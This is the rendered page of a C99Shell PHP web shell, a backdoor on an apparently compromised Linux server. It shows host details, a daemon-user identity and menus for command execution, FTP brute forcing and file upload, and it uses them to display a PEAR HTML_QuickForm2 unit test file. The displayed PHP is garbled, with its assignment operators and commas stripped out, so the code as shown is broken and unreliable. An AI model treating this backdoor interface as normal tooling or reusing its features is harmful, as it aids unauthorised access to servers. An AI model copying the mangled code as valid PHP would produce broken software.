!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/HTML_QuickForm2/QuickForm2/Rule/   drwxr-xr-x
Free 13.54 GB of 61.93 GB (21.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     NonemptyTest.php (7.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Unit tests for HTML_QuickForm2 package
 *
 * PHP version 5
 *
 * LICENSE:
 *
 * Copyright (c) 2006-2014, Alexey Borzov <avb@php.net>,
 *                          Bertrand Mansion <golgote@mamasam.com>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *    * Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *    * Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *    * The names of the authors may not be used to endorse or promote products
 *      derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
 * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category   HTML
 * @package    HTML_QuickForm2
 * @author     Alexey Borzov <avb@php.net>
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/HTML_QuickForm2
 */

/** Sets up includes */
require_once dirname(dirname(dirname(__FILE__))) . '/TestHelper.php';

/**
 * Unit test for HTML_QuickForm2_Rule_Nonempty class
 */
class HTML_QuickForm2_Rule_NonemptyTest extends PHPUnit_Framework_TestCase
{
    function 
testValidateGenericElement()
    {
        
$mockValid $this->getMock('HTML_QuickForm2_Element', array('getType',
                                    
'getRawValue''setValue''__toString'));
        
$mockValid->expects($this->once())->method('getRawValue')
                  ->
will($this->returnValue('a string'));
        
$rule = new HTML_QuickForm2_Rule_Nonempty($mockValid'an error');
        
$this->assertTrue($rule->validate());
        
$this->assertEquals(''$mockValid->getError());

        
$mockInvalid $this->getMock('HTML_QuickForm2_Element', array('getType',
                                      
'getRawValue''setValue''__toString'));
        
$mockInvalid->expects($this->once())->method('getRawValue')
                    ->
will($this->returnValue(''));
        
$rule2 = new HTML_QuickForm2_Rule_Nonempty($mockInvalid'an error');
        
$this->assertFalse($rule2->validate());
        
$this->assertEquals('an error'$mockInvalid->getError());
    }

    function 
testValidateInputFileElement()
    {
        
$mockValid $this->getMock('HTML_QuickForm2_Element_InputFile', array('getValue'));
        
$mockValid->expects($this->once())->method('getValue')
                  ->
will($this->returnValue(array(
                    
'name'     => 'goodfile.php',
                    
'type'     => 'application/octet-stream',
                    
'tmp_name' => '/tmp/foobar',
                    
'error'    => UPLOAD_ERR_OK,
                    
'size'     => 1234
                  
)));
        
$rule = new HTML_QuickForm2_Rule_Nonempty($mockValid'an error');
        
$this->assertTrue($rule->validate());
        
$this->assertEquals(''$mockValid->getError());

        
$mockInvalid $this->getMock('HTML_QuickForm2_Element_InputFile', array('getValue'));
        
$mockInvalid->expects($this->once())->method('getValue')
                    ->
will($this->returnValue(array(
                        
'name'     => '',
                        
'type'     => '',
                        
'tmp_name' => '',
                        
'error'    => UPLOAD_ERR_NO_FILE,
                        
'size'     => 0
                    
)));
        
$rule2 = new HTML_QuickForm2_Rule_Nonempty($mockInvalid'an error');
        
$this->assertFalse($rule2->validate());
        
$this->assertEquals('an error'$mockInvalid->getError());
    }

    public function 
testDefaultConfig()
    {
        
$mockEl $this->getMock('HTML_QuickForm2_Element', array('getType',
                                 
'getRawValue''setValue''__toString'));
        
$rule = new HTML_QuickForm2_Rule_Nonempty($mockEl);
        
$this->assertEquals(1$rule->getConfig());
    }

    public function 
testPositiveNumberRequired()
    {
        
$mockEl $this->getMock('HTML_QuickForm2_Element', array('getType',
                                 
'getRawValue''setValue''__toString'));
        try {
            
$rule = new HTML_QuickForm2_Rule_Nonempty($mockEl'an error', -1);
            
$this->fail('Expected HTML_QuickForm2_InvalidArgumentException was not thrown');
        } catch (
HTML_QuickForm2_InvalidArgumentException $e) {}
    }

   
/**
    * @see  http://pear.php.net/bugs/bug.php?id=12610
    */
    
function testValidateSelectMultiple()
    {
        
$options     = array('1' => 'Option 1''2' => 'Option 2');
        
$multiSelect = new HTML_QuickForm2_Element_Select(
            
'mult', array('multiple'), array('options' => $options)
        );

        
$nonEmpty = new HTML_QuickForm2_Rule_Nonempty($multiSelect'an error');
        
$this->assertFalse($nonEmpty->validate());

        
$multiSelect->setValue(array(1));
        
$this->assertTrue($nonEmpty->validate());

        
$nonEmpty->setConfig(2);
        
$this->assertFalse($nonEmpty->validate());
    }

    function 
testValidateContainer()
    {
        
$mockContainer $this->getMock(
            
'HTML_QuickForm2_Container', array('getType''setValue''__toString')
        );
        
$foo $mockContainer->addElement('text''foo')->setValue('');
        
$bar $mockContainer->addElement('text''bar[idx]')->setValue('I am not empty');

        
$nonEmpty = new HTML_QuickForm2_Rule_Nonempty($mockContainer'an error');
        
$this->assertTrue($nonEmpty->validate());

        
$nonEmpty->setConfig(2);
        
$this->assertFalse($nonEmpty->validate());
        
$this->assertEquals('an error'$mockContainer->getError());
        
$this->assertEquals(''$foo->getError());
        
$this->assertEquals(''$bar->getError());
    }

    function 
testValidateNestedContainer()
    {
        
$mockOuter $this->getMock(
            
'HTML_QuickForm2_Container', array('getType''setValue''__toString')
        );
        
$mockInner $this->getMock(
            
'HTML_QuickForm2_Container', array('getType''setValue''__toString')
        );
        
$foo $mockOuter->addElement('text''foo[idx]')->setValue('');
        
$bar $mockInner->addElement('text''bar[idx]')->setValue('not empty');
        
$mockOuter->appendChild($mockInner);

        
$nonEmpty = new HTML_QuickForm2_Rule_Nonempty($mockOuter'an error');
        
$this->assertTrue($nonEmpty->validate());

        
$nonEmpty->setConfig(2);
        
$this->assertFalse($nonEmpty->validate());
    }

    public function 
testContainerValidationTriggers()
    {
        
$mockContainer $this->getMock(
            
'HTML_QuickForm2_Container', array('getType''setValue''__toString')
        );
        
$foo $mockContainer->addElement('text''foo', array('id' => 'foo'));
        
$bar $mockContainer->addElement('text''bar', array('id' => 'bar'));

        
$nonEmpty = new HTML_QuickForm2_Rule_Nonempty($mockContainer'an error');
        
$this->assertContains('["foo","bar"]'$nonEmpty->getJavascript());
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4856 ]--